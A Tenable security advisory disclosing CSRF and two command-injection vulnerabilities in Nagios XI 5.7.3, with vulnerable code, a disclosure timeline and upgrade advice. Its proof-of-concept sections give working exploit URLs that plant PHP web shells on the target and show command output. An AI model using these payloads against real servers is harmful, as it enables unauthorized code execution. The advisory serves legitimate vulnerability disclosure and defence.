tenable

Nagios XI Multiple Vulnerabilities

Medium

← View More Research Advisories

Synopsis

We have discovered multiple vulnerabilities in Nagios XI 5.7.3.

CVE-2020-5790: Cross-site Request Forgery

CVSS v3 Base Score: 4.3
CVSS v3 Vector: AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Cross-site request forgery (CSRF) vulnerabilities exist in Nagios XI for various requests. While there is protection implemented via the Nagios Session Protector in other parts of the application, it was found that protection is incomplete in the following: - /nagiosxi/admin/mibs.php - /nagiosxi/includes/components/nxti/index.php

CRSF can be exploited by a remote, unauthenticated attacker to execute sensitive application actions in the context of an authenticated user. This would likely be exploited via phishing or some other means to trick a legitimate Nagios user into clicking a malicious link.

For example, the mibs.php undo_process_single() function does not call check_nagios_session_protector().

CSRF can be chained with other vulnerabilities in this report to gain remote code execution. Please see the PoC for vulnerability 2, as it exploits CSRF.

CVE-2020-5791: Authenticated OS Command Injection RCE in /nagiosxi/admin/mibs.php

CVSS v3 Base Score: 4.7
CVSS v3 Vector: AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L

An OS command injection vulnerability exists in the admin/mibs.php file. A remote, authenticated attacker with admin privileges may exploit this vulnerability to execute arbitrary OS commands with privileges of the 'apache' user. Specifically, when the 'mode' HTTP parameter equals 'undo-processing' and the 'type' parameter equals 1, the 'file' parameter will ultimately be passed to the PHP exec() function without sanitization.

Below are code snippets to show this:

```
function route_request()
{
    global $request;

    $mode = '';
    if (isset($request['mode'])) {
        $mode = $request['mode'];
    }

    switch ($mode) {
        ...
        case 'undo-processing':
            undo_process_single();      // VULN
            break;
       ...
    }
...
}

function undo_process_single() {
    // Mode needs to be based on processing type of MIB, not on 'current' processing type

    $file = grab_request_var('file', '');
    $name = grab_request_var('name', '');
    $current_type = intval(grab_request_var('type', MIB_UPLOAD_DO_NOTHING));

    if ($current_type !== MIB_UPLOAD_PROCESS_ONLY && $current_type !== MIB_UPLOAD_NXTI) {
        show_mibs(false, _("No processing to be undone"));
    }

    undo_processing($file, $name, $current_type);       // VULN

    show_mibs(false, sprintf(_("Successfully reverted %s to 'uploaded' state"), $name));
}

function undo_processing($file, $name, $current_type) {

    if ($current_type !== MIB_UPLOAD_PROCESS_ONLY && $current_type !== MIB_UPLOAD_NXTI) {
        return;
    }

    $current_conf_path = get_processing_destination($current_type) . '/' . $file;

    remove_snmpttconvertmib_files(array($file));

    if ($current_type === MIB_UPLOAD_PROCESS_ONLY) {
        $get_event_names_cmd = get_root_dir() . "/scripts/nxti_import.php $current_conf_path --no-insert";
        exec($get_event_names_cmd, $all_events, $rc);   // VULN
        $all_events = array_unique($all_events);

        remove_from_snmptt_conf($all_events);
    }
```

Attacker sends the following link to a Nagios XI Administrator:

```
http://192.168.1.178/nagiosxi/admin/mibs.php?mode=undo-processing&type=1&file=%3becho+-ne+"\x3c\x3f\x70\x68\x70\x20\x73\x79\x73\x74\x65\x6d\x28\x24\x5f\x47\x45\x54\x5b\x27\x63\x
```

Once the admin clicks the link, scooby.php will be created, and the attacker can access the newly created PHP script to execute more commands. Notice 'apache' in the response.

```
http://192.168.1.178/nagiosxi/includes/components/autodiscovery/jobs/scooby.php?cmd=whoami
```

Response:

```
HTTP/1.1 200 OK
Date: Thu, 24 Sep 2020 21:09:56 GMT
Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16
X-Powered-By: PHP/5.4.16
Content-Length: 19
Connection: close
Content-Type: text/html; charset=UTF-8

apache
 --no-insert
```

CVE-2020-5792: Authenticated OS Command Argument Injection Vulnerability Leading to Arbitrary File Write / RCE in /nagiosxi/includes/components/nxti/index.php

CVSS v3 Base Score: 4.7
CVSS v3 Vector: AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L

An OS command argument injection vulnerability exists in the send_custom_trap() function in /nagiosxi/html/includes/components/nxti/index.php. Specifically, the $cmd variable is constructed by incorporating values from HTTP parameters. Prior to being passed to exec(), this command line is escaped using the PHP escapeshellcmd() function; however, this is insufficient, and an attacker is able to inject arbitrary arguments into the command. This vulnerability can be exploited by an authenticated attacker with admin rights to execute arbitrary code with privileges of the apache user.

In this case, the 'snmptrap' command is executed, and arguments can be injected to create a malicious PHP shell. For example, the -d flag will display the captured SNMP request made, and the output can be logged to a file using the -L flag. This causes a hexdump of the request to be logged to an arbitrary file location. Additionally, if variables are specified, the contents of the file can be crafted in such a way that a valid PHP shell is created. This shell could then be invoked using a subsequent web request to execute arbitrary OS commands.

Please note that this vulnerability can be exploited in combination with CSRF. If an administrator were to click the link, code execution could be gained by an unauthenticated, remote attacker.

Proof of Concept (PoC)

Send the following link to an authenticated Nagios XI administrator. Ensure the IP matches that of the target Nagios XI instance:

```
http://192.168.1.179/nagiosxi/includes/components/nxti/index.php?custom-version=2c&generic-trap-option=0&specific-trap-option=&custom-agent=&custom-community=a+-d+-L+f+/usr/loca
```

A file will then be created at /usr/local/nagiosxi/html/includes/components/autodiscovery/jobs/snmplog.php. It will contain the following contents. Note how the PHP can be crafted with multiline comments to ensure a valid PHP file is created. Additionally, input validation filters were bypassed using snmptrap's hexadecimal variable formatting. :

```
Sending 132 bytes to UDP: [127.0.0.1]:162->[0.0.0.0]:0
0000: 30 81 81 02  01 01 04 01  61 A7 79 02  04 39 06 96    0.......a?y..9..
0016: E3 02 01 00  02 01 00 30  6B 30 0F 06  08 2B 06 01    ?......0k0...+..
0032: 02 01 01 03  00 43 03 01  DA C7 30 19  06 0A 2B 06    .....C..??0...+.
0048: 01 06 03 01  01 04 01 00  06 0B 2B 06  01 04 01 BF    ..........+....?
0064: 08 02 03 00  01 30 3D 06  08 2B 06 01  04 01 8F 65    .....0=..+.....e
0080: 08 04 31 3C  3F 70 68 70  20 2F 2A 20  20 20 20 20    ..1<?php /*
0096: 20 2A 2F 73  79 73 74 65  6D 28 2F 2A  20 20 20 20     */system(/*
0112: 20 2A 2F 24  5F 47 45 54  5B 22 63 22  5D 29 2F 2A     */$_GET["c"])/*
0128: 2A 2F 3F 3E                                           */?>

Cannot rename /var/lib/net-snmp/snmpapp.conf to /var/lib/net-snmp/snmpapp.0.conf
Cannot unlink /var/lib/net-snmp/snmpapp.conf
```

Now, the PHP can be executed using an HTTP request. Notice the output of the 'id' command.

Request:

```
http://192.168.1.179/nagiosxi/includes/components/autodiscovery/jobs/snmplog.php?c=id
```

Response:

```
HTTP/1.1 200 OK
Date: Mon, 28 Sep 2020 16:09:56 GMT
Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16
X-Powered-By: PHP/5.4.16
Content-Length: 706
Connection: close
Content-Type: text/html; charset=UTF-8
```

```
0048: 01 06 03 01  01 04 01 00  06 0B 2B 06  01 04 01 BF    ..........+....¿
0064: 08 02 03 00  01 30 3D 06  08 2B 06 01  04 01 8F 65    .....0=..+.....e
0080: 08 04 31 3C  3F 70 68 70  20 2F 2A 20  20 20 20 20    ..1uid=48(apache) gid=48(apache) groups=48(apache),1000(nagios),1001(nagcmd)

Cannot rename /var/lib/net-snmp/snmpapp.conf to /var/lib/net-snmp/snmpapp.0.conf
Cannot unlink /var/lib/net-snmp/snmpapp.conf
```

Solution

Upgrade to Nagios XI 5.7.4 or newer.

Additional References

https://www.nagios.com/downloads/nagios-xi/change-log/
https://www.nagios.com/products/security/

Disclosure Timeline

09/29/2020 - Tenable asks Nagios if there is a PGP key we should use to encrypt the report.
09/29/2020 - Nagios responds. Tells us how we can send the report.
09/29/2020 - Tenable sends vulnerability report to Nagios. 90-day date is Dec 28, 2020.
10/01/2020 - Tenable follows up to ensure report was received.
10/08/2020 - Tenable follows up again to verify if report was received.
10/19/2020 - Tenable follows up via the Nagios "Contact Us" web form to ensure report was received.

All information within TRA advisories is provided "as is", without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.

Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.

For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.

If you have questions or corrections about this advisory, please email advisories@tenable.com

Risk Information

CVE ID: CVE-2020-5790
CVE-2020-5791
CVE-2020-5792
Tenable Advisory ID: TRA-2020-58
Credit: Chris Lyne

CVSSv3 Base / Temporal Score: 4.7 / 4.2
CVSSv3 Vector: AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L
Affected Products: Nagios XI 5.7.3
Risk Factor: Medium

Advisory Timeline

10/20/2020 - Advisory released.
10/26/2020 - Added reference to Nagios security disclosures page
02/02/2020 - Fixing poc encoding

FEATURED PRODUCTS

Tenable One Exposure Management Platform

Tenable.cs Cloud Security

Tenable.io Vulnerability Management

Tenable.io Web App Scanning

Tenable.asm External Attack Surface

Tenable.ad Active Directory

Tenable.ot Operational Technology

Tenable.sc Security Center

Tenable Lumin

Nessus

→ View all Products

FEATURED SOLUTIONS

Application Security

Building Management Systems

Finance

Healthcare

IT/OT

Ransomware

State / Local / Education

US Federal

Vulnerability Management

Zero Trust

→ View all Solutions

CUSTOMER RESOURCES

Resource Library

Community & Support

Customer Education

Tenable Research

Documentation

Trust and Assurance

Nessus Resource Center

Cyber Exposure Fundamentals

System Status

CONNECTIONS

Blog

Contact Us

Careers

Investors

Events

Media

Privacy Policy Legal 508 Compliance